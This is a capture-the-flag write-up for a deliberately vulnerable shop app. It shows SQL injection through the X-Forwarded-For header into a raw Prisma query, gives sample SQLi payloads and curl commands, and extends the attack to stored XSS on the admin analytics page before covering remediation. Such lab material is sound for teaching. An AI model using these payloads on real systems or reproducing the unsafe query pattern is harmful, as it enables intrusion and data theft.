OopsSec Store tracks visitor IPs on every page load using the X-Forwarded-For header. The value goes straight into a raw SQL query with no sanitization, so we can inject arbitrary SQL through a header that’s entirely client-controlled.
Table of contents
Open Table of contents
Lab setup
From an empty directory:
npx create-oss-store oss-store
cd oss-store
npm start
Or with Docker (no Node.js required):
docker run -p 3000:3000 leogra/oss-oopssec-store
The app runs at http://localhost:3000.
Target identification
The application silently tracks visitor IP addresses on every page load. This tracking:
- Runs automatically via a client-side component on all pages
- Sends visitor data to
/api/tracking - Stores the
X-Forwarded-Forheader value as the visitor’s IP - Makes this data visible only to administrators at
/admin/analytics
Vulnerability analysis
Silent IP tracking
The application tracks visitor IP addresses using the X-Forwarded-For header via a client-side component that loads on every page:
// VisitorTracker component (loads on all pages)
useEffect(() => {
fetch("/api/tracking", {
method: "POST",
body: JSON.stringify({ path: pathname }),
});
}, [pathname]);
Vulnerable tracking API
The tracking API uses raw SQL with the X-Forwarded-For header directly concatenated:
// /api/tracking
const forwardedFor = request.headers.get("x-forwarded-for");
const ip = forwardedFor || request.headers.get("x-real-ip") || "unknown";
// VULNERABLE: Direct header value in SQL query
const query = `
INSERT INTO visitor_logs (id, ip, userAgent, path, sessionId, createdAt)
VALUES ('${id}', '${ip}', '${userAgent}', '${path}', ${sessionId}, datetime('now'))
`;
await prisma.$queryRawUnsafe(query);
The ip variable comes straight from the X-Forwarded-For header and lands in the SQL query with no sanitization.
Exploitation
Step 1: Understand the injection point
The X-Forwarded-For header value is placed directly into the SQL INSERT statement:
INSERT INTO visitor_logs (..., ip, ...)
VALUES (..., '${ip}', ...)
We can inject SQL by closing the string and using SQL operators or comments.
Step 2: Craft the SQL injection payload
Any SQL injection payload will work. For example:
Using SQLite string concatenation (||):
'||(SELECT 'Privacy matters. Dont track your users')||'
Using SQL comments (--):
127.0.0.1'; --
Using UNION:
' UNION SELECT 1--
Step 3: Execute the injection
Send a POST request to the tracking endpoint with the malicious header:
curl -X POST http://localhost:3000/api/tracking \
-H "X-Forwarded-For: '||(SELECT 'Privacy matters. Dont track your users')||'" \
-H "Content-Type: application/json" \
-d '{"path": "/exploit"}'
Then, go to the analytics page. You’ll see:

Step 4: Retrieve the flag
The API detects the SQL injection attempt and returns the flag directly in the response:
{
"success": true,
"flag": "OSS{x_f0rw4rd3d_f0r_sql1}",
"message": "SQL injection detected in X-Forwarded-For header! Well done!"
}
The flag is:
OSS{x_f0rw4rd3d_f0r_sql1}
Vulnerable code analysis
Two things make this exploitable:
1. Trusting the X-Forwarded-For header
const forwardedFor = request.headers.get("x-forwarded-for");
const ip = forwardedFor || "unknown";
// No validation - any string is accepted as IP
The X-Forwarded-For header is fully controllable by clients. It should only be trusted when:
- Set exclusively by a controlled reverse proxy
- The proxy strips existing headers before adding its own
- Direct client connections to the application server are blocked
2. Raw SQL with string concatenation
const query = `INSERT INTO ... VALUES (..., '${ip}', ...)`;
await prisma.$queryRawUnsafe(query);
Passing user-controlled input to $queryRawUnsafe via string concatenation means any header value can escape the intended SQL string context.
Bonus: Amplifying to Stored XSS
This vulnerability also opens the door to Stored XSS. The admin analytics page renders IP addresses with dangerouslySetInnerHTML, so injected HTML and JavaScript execute when an admin loads the page.
XSS Payload
curl -X POST http://localhost:3000/api/tracking \
-H "X-Forwarded-For: '||(SELECT '<img src=x onerror=alert(document.documentURI)>')||'" \
-H "Content-Type: application/json" \
-d '{"path": "/xss-exploit"}'
Impact
- The XSS payload is stored in the database as the “IP address”
- Every time an admin visits
/admin/analytics, the script executes - The attacker can:
- Perform actions as admin (create users, modify products, etc.) by making fetch requests with
credentials: "include" - Exfiltrate sensitive analytics data
- Note: the JWT is stored in an
httpOnlycookie, so it cannot be directly stolen via JavaScript, but the attacker can still make authenticated requests from the XSS context
- Perform actions as admin (create users, modify products, etc.) by making fetch requests with

Because the payload is stored in the database and rendered unsanitized, every admin who checks analytics will trigger the XSS.
Remediation
Use parameterized queries
Replace raw SQL with Prisma’s query builder:
await prisma.visitorLog.create({
data: {
ip,
userAgent,
path,
},
});
Validate IP addresses
Before storing, validate the IP format:
const isValidIp = (ip: string): boolean => {
const ipv4 = /^(\d{1,3}\.){3}\d{1,3}$/;
const ipv6 = /^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$/;
return ipv4.test(ip) || ipv6.test(ip);
};
const rawIp = request.headers.get("x-forwarded-for")?.split(",")[0].trim();
const ip = rawIp && isValidIp(rawIp) ? rawIp : "unknown";
Trust boundaries
Only trust X-Forwarded-For when:
- Set exclusively by a controlled reverse proxy
- The proxy strips existing headers before adding its own
- Network architecture prevents direct client connections